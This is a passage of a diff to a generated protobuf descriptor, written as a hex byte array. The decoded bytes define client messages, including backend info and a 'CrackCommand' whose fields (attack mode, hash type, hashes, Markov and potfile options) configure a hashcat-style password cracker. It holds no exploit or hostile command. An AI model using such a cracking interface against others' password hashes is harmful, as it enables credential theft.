0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, - 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, - 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, - 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, - 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, - 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, - 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, - 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, - 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, - 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, - 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, - 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, - 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, - 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, - 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, - 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, - 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, - 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, - 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, - 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, - 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, - 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, - 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, - 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, - 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, - 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, - 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, - 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, - 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, - 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, - 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, - 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, - 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, - 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, - 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, - 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, - 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, - 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, - 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, - 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, - 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, - 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, - 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, - 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, - 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, - 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, - 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, - 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, - 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, - 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, - 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, - 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, - 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, - 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, - 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, - 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, - 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, - 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, - 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, - 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, - 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, - 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, - 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, - 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, - 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, - 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, - 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, - 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, - 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, - 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, - 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, - 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, - 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, - 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, - 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, - 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, - 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, - 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, - 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, - 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, - 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, + 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, + 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, + 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, + 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, + 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, + 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, + 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, + 0x65, 